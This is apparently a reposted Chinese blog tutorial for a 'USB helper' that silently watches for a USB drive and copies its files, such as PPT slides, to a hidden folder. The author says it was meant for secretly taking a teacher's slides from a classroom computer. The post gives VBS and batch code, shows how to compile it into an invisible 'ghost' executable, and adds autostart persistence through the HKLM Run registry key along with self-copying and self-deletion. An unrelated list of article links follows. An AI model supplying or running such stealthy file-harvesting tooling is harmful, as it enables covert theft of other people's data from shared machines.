后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)

2023-11-05

马上期末考试了,老师复习课讲得PPT是精简版的,老师说了之前上课的PPT可以给但是这个不可以,如果得到期末必过了。本想着把我这个自己花了3个多小时做的U盘助手在教室的电脑上运行着,下课我就可以得到PPT了,但是无奈我如此正义凛然,以及信息安全的专业我有着极好的专业素养。我还是放弃了做坏事。希望大家也是如此。当然这个U盘助手还可以让你更方便,比如你需要把U盘中的某一特定类型的文档经常复制到电脑,自己手动复制是不是很麻烦?或者经常手动备份U盘资料很麻烦,有了它你会更方便。

打包好的代码及程序

这是网上找的vbs语言写的,有一定英语能力和vb能力的想必不难看懂,本人没学过,大致还是可以理解的,但是代码看着太长,而且需要自己设定U盘盘符,复制文件类型,目录,显得有些麻烦。

set fso=createobject("scripting.filesystemobject") 

set ws=createobject("wscript.shell") 

dim USB, file, folder, files 

USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F") 

folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB") 
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL") 

USB=USB & ":\" 

folder=folder & "\" 

if files="ALL"then 

file=USB & "*" 

else 

file=USB & "*." & files 

end if 

if FSO.FolderExists(folder) then 

else 
FSO.CreateFolder(folder) 

end if 

on error resume next 
do 
wscript.sleep 1000 

if fso.driveexists(USB) then 
fso.copyfile file,folder 
fso.copyfolder file,folder 
wscript.sleep 20000 

end if 

loop
下面详细讲解我自己写的bat实现

1、创建一个保存复制的文件的文件夹:

md C:\Upan(我这里创在了C盘根目录)
至于这句:
setlocal enabledelayedexpansion
解释起来太复杂,有篇博客就是说这个的可以自己搜索下,这句几乎是bat下for循环必须的语句

2、然后设置要检测的可移动磁盘(我的可移动磁盘是d):

set "driver=d"
3、然后用循环一直检测,直到检测到U盘在执行命令:

for %%a in (!driver!) do (
::此处输循环执行的命令
)

for循环用法:for %%变量 in (集) do 命令,变量:(记住如果是在批处理中使用for命令时,变量前的%需改为%%)这个变量名是由单个字母组成且区分大小写(原帮助是这么说的,实际运用中用单个数字作为变量名试过证明也可行),如%B和%b代表的是不同的变量。集:由系列文件、字符串或由命令产生的内容形成的集合(当然可用通配符 * ?,还可引用环境变量),FOR命令是按一定顺序和规律分次读取集中内容,赋值给变量,并执行do后的命令,进行循环下一轮,直至集中内容读取完毕,而括号是格式必须的(in到后面括号之间要有空格)。命令大家都知道。

4、如果检测到U盘,则执行复制命令,复制U盘中所有的PPT到我们创建的保存复制的文件的文件夹(C:\Upan):

if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
/C 有错误也复制,/E 复制目录和子目录,包括空目录,/H 也复制隐藏文件和系统文件,/Q 复制时不显示文件名,/K 复制属性,/Y 取消提示以确认要覆盖

5、使用跳转语句goto,如果没有检测到U盘盘符就跳转到for循环处继续执行检测磁盘

::检测U盘是否插入,插入则复制U盘中所有文件到指定盘
@echo off
md C:\Upan
setlocal enabledelayedexpansion
::下面设置好要检测的盘符,以空格或逗号相隔
set "driver=d"
:start
for %%a in (!driver!) do (
if exist %%a: (
xcopy /C /E /Q /K /Y d:\*.ppt C:\Upan
exit
)
)
goto :start
这样的bat运行是有点没中不足的,像这样总是有个黑框挺难看的


下载bat转exe的软件如Quick Batch File Compiler,打开软件,选择“打开”来打开写好的bat


然后找到“选项”设置幽灵应用程序,然后点构建,然后设置exe文件名并生成一个exe文件


,此时运行该exe不会有任何显示,但是可以在进程列表看到已经运行了


如果你想让这个程序开机自动运行,可以通过vbs或者bat,或者直接把开机自启的bat命令添加在上面的文件按上述步骤完成。

1、VBS脚本实现

Set ws = CreateObject("Wscript.Shell")
ws.run "cmd /c for.bat",vbhide 
把for.bat改为你想要开机自启动的bat或者exe文件

2、bat命令独立实现

1)修改注册表

copy %0 c:\for.exe,把for.exe复制到C:\

下面那句是修改注册表键值,让C:\for.exe开机自启动

最后一句是删除for.exe源文件

复制下面代码到新建文本文档,只需要把for.exe改为你的bat文件名或者exe文件名,然后保存,把文档名改为xxx.bat运行就可以了

@echo off
copy %0 c:\for.exe
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v for.exe /t REG_SZ /d c:\for.exe /f
del %0
2)在系统启动菜单创建快捷方式

复制下面代码到新建文本文档,然后保存为xxx.bat运行就可以了

@echo off
copy %0 "%userprofile%\「开始」菜单\程序\启动"
del %0
3、把1)的代码添加到前面bat文件的第二句(md C:\Upan)后面,注意:1)中的for.exe是指最后要转换成exe文件的文件名,如果你要把bat转换成的exe文件名为U盘助手.exe,那就把1)中的所有for.exe改为U盘助手.exe即可,或者你可以把生成的exe文件改为for.exe也可


本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手) 的相关文章

  • Web前端-Vue ElementUI点击Table 索引行获取index处理

    需求 在table中row行 index 0 作为区头 数据字符展示 参考组件 Element The world s most popular Vue UI framework 1 table中有一个 row class name tab
  • git显示不出绿色的小图标的解决方法

    大家好 我是曜耀 今天我来为大家讲解一下 电脑安装git显示不了绿色的小图标的问题 对于刚刚安装了git的我们 有一部分会遇到在操作过程 win会显示不出 git该用的图标 对此我们会很烦恼 我也是其中一员 不过我在网上找了很多解决的方法
  • android版本下载地址 http,Android ADT下载地址(含各版本)

    Android ADT下载地址 含各版本 2019年12月04日 阅读数 26 这篇文章主要向大家介绍Android ADT下载地址 含各版本 主要内容包括基础应用 实用技巧 原理机制等方面 希望对大家有所帮助 ADT百度云下载连接 含各版
  • 服务器:在腾讯轻量级服务器上传jar包并运行jar

    前言 本期项目使用springboot开发 最终将项目生产的jar包需要上传至云服务器运行 方便自己的小程序端和web端去访问 本文将jar包的运行与主要命令进行说明 jar包生成 项目打包前 需要保证其正确性 最好先运行后在打包 具体的打
  • 针对 微信小程序 的 getUserInfo 接口废弃,不能弹出授权窗口的问题

    getUserInfo 接口废弃说明 官方给出的废弃getUserInfo接口的通知链接 小程序登录 用户信息相关接口调整说明 废弃时间 2021年4月28日以后 废弃后的使用情况 无法通过wx getUserInfo与
  • 从输入网址到页面呈现的详细过程

    面试题经典题目 简要回答如下 a 域名解析 b 发起TCP连接的三次握手 c 建立TCP连接后发起http请求 d 服务端响应http请求 返回响应报文 e 浏览器页面渲染 f 断开TCP连接 下面详细介绍 a 域名解析 DNS解析 当在浏
  • 计算机上的无线网络开关怎么打开,联想笔记本无线网络开关怎么打开

    当我们买到笔记本电脑的时候 我们会不会就会急着想上网看一下呢 女生会选择第一时间追一下剧 男生呢 就会想下载一个游戏来刺激一下 那消费者知不知道无线网络开关是怎么开的吗 下面小编就给大家说说联想笔记本无线网络开关怎么打开 打开无线网络开关的
  • 开发人员谈测试:如何写出简洁又规范的单元测试

    文章转载链接 http www 51testing com html 83 n 4480883 html 我们之前谈到过要让开发人员认识到测试的重要性并了解测试 本文的主要重点是针对日常开发阶段工程师可以做的事情 也就是单元测试而展开 编写
  • 分布式锁看这篇就够了

    https blog csdn net tzs 1041218129 article details 80086991 关注我 转载请务必注明原创地址为 http www 54tianzhisheng cn 2018 04 24 Distr
  • STM32外设系列—HC-05(蓝牙)

    文章目录 一 蓝牙简介 二 使用方法 2 1 接线 2 2 AT指令 三 蓝牙APP 四 实战项目 4 1 添加文件 4 2 配置需要传递的参数 4 3 获取返回值 4 4 发送光照强度 4 5 控制程序 4 6 手机端页面设计 4 6 1
  • python的学习心得与知识总结

    1 字符串格式化表达式 作用 生成一定格式的字符串 运算符 语法格式 格式字符串 参数值 或 格式字符串 参数值1 参数值2 参数值3 说明 左侧为格式格式字符串 右侧为参数值 当有多个参数值时用 括号 括起来 并用逗号 隔开 格式化字符串
  • 基于java的饮食分享平台系统毕业设计(源代码+数据库+部署文档+部署视频)

    摘要 本篇论文主要介绍了基于Java的饮食分享平台系统的设计与实现 通过对现有饮食分享平台的分析和用户需求的调研 本设计采用Java语言进行系统开和编码 首先分析了饮食分享平台的背景和相关知识 然后提出了系统的需求和设计方案 接着详细介绍了
  • 自定义解密注解

    在开发中 有时候会遇到前端body加密 后端解密操作 接下来用注解实现 1 新增DecodeRequestBodyAdvice类 package com xx advice import lombok extern slf4j Slf4j
  • 图卷积 节点分类_了解图卷积网络以进行节点分类

    图卷积 节点分类 Neural Networks have gained massive success in the last decade However early variants of Neural Networks could
  • 如何学习数学分析

    如何学习数学分析 数学分析的研究定位 一直以来都是书到用时方恨少 刚毕业那会学的是计算机 从事算法工程师岗位 然后基础人工智能算法 在遗传BP 神经网络 旅行商问题上接触了很多数学知识 到后来的机器人导航工程师又做了路径规划 设计到视觉SL
  • 1.pwn基础总结

    基本概念 exploit 用于攻击的脚本与方案 通常缩写为exp payload 攻击载荷 是的目标进程被劫持控制流的数据 shellcode 调用攻击目标的shell的代码 打开目标的shell 获取目标控制权 pwn解题基本流程 che
  • CBC字节翻转攻击解析

    CBC字节翻转攻击解析 一 分组密码的模式 分组密码的主要模式有5种 ECB模式 电子密码本模式 Electronic CodeBook mode CBC模式 密码分组链接模式 Cipher Block Chaining mode CFB模
  • 可重入锁-Reentrant

    Reentrant Re entrant 可重复进入 什么叫可重入 线程可以进入任何一个它已经拥有的锁所同步着的代码块 可重锁作用 防止死锁 常用的可重入锁 JDK ReentrantLock java util concurrent lo
  • 如何异步+队列实现接入阿里云事件监控

    阿里云监控服务可用于收集获取阿里云资源的监控指标或用户自定义的监控指标 探测服务可用性 以及针对指标设置警报 使您全面了解阿里云上的资源使用情况 业务的运行状况和健康度 并及时收到异常报警做出反应 保证应用程序顺畅运行 阿里云事件监控文档地

随机推荐

  • C_单链表去重

    include
  • ubuntu18.04安装mysql5.7

    ubuntu18 04安装mysql5 7 一 安装MySQL 1 安装mysql服务 2 检查状态 3 注意查看mysql版本使用 4 查看MySQL5 7默认账号和密码 二 配置MySQL 三 查mysql服务状态 四 修改root账户
  • uView在uniapp中样式完全失效问题

    最近开发微信小程序和钉钉小程序 使用uniapp UI库准备使用uView 但是按官网引入之后 在小程序模拟器上样式完全无效 而H5正常 解决方法 由于Hbuilderx版本问题 编译的代码中会多出一行样式 可以更换3 2 16版本 亲测有
  • SecureCRT创建串口连接

    鉴于没有在网上找到很好的图解SecureCRT创建串口连接方式 自己写一篇作为备忘录 同时 便于有同样需求的朋友可以快速方便的创建串口连接方式 一 工具 电脑 串口线和超级终端 本文选择SecureCRT 二 方法步骤 1 点击设备管理 查
  • Android EditText接收扫码枪输入,有时缺位,有时出现两次回车

    最近做Android项目时 需要使用外接扫码枪扫描条码 并且接收条码输入的EditText同时还要能接收商品名称的输入 在开发调试的过程中发现 使用扫码枪时会出现条码信息丢失 或者扫码输入过程中出现两次Enter的情况 问题1 扫码枪扫码后
  • JS逆向 - 破解oklink加密参数及加密数据

    版权声明 原创不易 本文禁止抄袭 转载 侵权必究 目录 一 JS逆向目标 会当临绝顶 二 JS逆向分析 不识庐山真面目 三 JS逆向测试 只缘身在此山中 四 JS反逆向 柳暗花明又一村 五 oklink逆向完整代码下载 六 作者Info 一
  • 微信小程序期末大作业-天使童装商城

    微信小程序期末大作业 天使童装商城 导入即可使用 有轮播图 底部导航 各种童装标签 有首页 分类 优惠券 购物车 个人中心五个导航 适合初学者学习使用 如下图所示 资源链接在末尾 资源下载链接 https download csdn net
  • 拉普拉斯噪声满足ε-差分隐私的定义

    差分隐私的定义如下 给定一个兄弟数据集D和D 他们两者之间至多相差一条数据 然后给定一个映射函数 f D R d f D rightarrow R d
  • 史上最全的WebSettings说明

    setAllowContentAccess boolean allow 是否允许在WebView中访问内容URL Content Url 默认允许 内容Url访问允许WebView从安装在系统中的内容提供者载入内容 setAllowFile
  • 前后端分离的vue项目如何合并?springboot 单体应用

    首先是有这么两个应用 前端是vue项目 后端是springboot 构建的服务端 现在是需求是 这个项目很轻量级 完全没必要部署为两个应用 因此需要重新合并 具体步骤如下 第一步 vue项目先打包 执行命令 npm run build 执行
  • PyQt QSpinBox 详细用法 Python

    PyQt QSpinBox 详细用法 Python PyQt 是一个流行的 Python GUI 编程工具包 它提供了丰富的界面元素和功能 使开发人员能够创建强大的图形用户界面 QSpinBox 是 PyQt 中的一个小部件 它允许用户通过
  • 《Qt 5.9 C++开发指南》第2.1节 UI文件设计与运行机制【完整版】

    2 1 UI文件设计与运行机制 2 1 1 项目文件组成 本节实例程序samp2 1完整源程序下载地址 https download csdn net download hongandyi 10413776 在Qt Creator中新建一个
  • 【读论文】多核学习算法及其在高光谱图像分类中的应用研究进展(2021)

    读论文 多核学习算法及其在高光谱图像分类中的应用研究进展 2021 李广洋 DOI 10 12082 dqxxkx 2021 200536 文章目录 摘要 关键词 结论 该论文研究了什么 摘要 多核学习算法在高光谱图像分类领域占据着十分重要
  • 常用工作方法总结(7S、SWOT分析、PDCA循环、SMART原则、6W2H、时间管理、WBS等)

    文章目录 一 7S规则 1 1 推行7S的目的 1 2 7S的概念 二 二八定律 三 SWOT分析法 四 PDCA循环 五 SMART原则 六 6W2H工作方法 七 时间管理 八 WBS工作分解 九 碎石问题分析法 一 7S规则 1 1 推
  • ER图(实体-联系图)

    概念 E R图也称实体 联系图 Entity Relationship Diagram 提供了表示实体类型 属性和联系的方法 用来描述现实世界的概念模型 构成 ER图有实体 entity 属性 attribute 关系 relationsh
  • 光 线 追 踪

    本文首先将会介绍光线追踪的类别族谱 介绍其公共部分 之后我们会分别对其中的每一个进行详细地剖析 光线追踪 Ray tracing 是一个拥有历史感的词汇 图形学从业者从neutron transport heat transfer和illu
  • 有不用出门就能做的副业吗?

    疫情期间一个00后的女孩在家隔离两周 做视频剪辑赚了4000多 是怎么做的呢 其实操作方法并不难 大周也用这个方法在头条上注册了一个新号 虽然时间不长但也赚了3000多 今天这期内容来给粉丝们分享一下操作流程 如果你也想做 可以给大周扣 8
  • com.alibaba.fastjson.JSONObject cannot be cast to com.alibaba.fastjson.JSONObject报错处理

    一 简介 项目A引用项目B的jar作为依赖 启动的时候也没问题 执行项目B中的一段代码的时候就报错了 代码如下 Map
  • scope=“scope“和作用域插槽

    试试目录 1 之前的使用 测试 1 之前的使用 父组件
  • 后台静默检测U盘并复制U盘内指定文件到电脑指定目录(U盘助手)

    马上期末考试了 老师复习课讲得PPT是精简版的 老师说了之前上课的PPT可以给但是这个不可以 如果得到期末必过了 本想着把我这个自己花了3个多小时做的U盘助手在教室的电脑上运行着 下课我就可以得到PPT了 但是无奈我如此正义凛然 以及信息安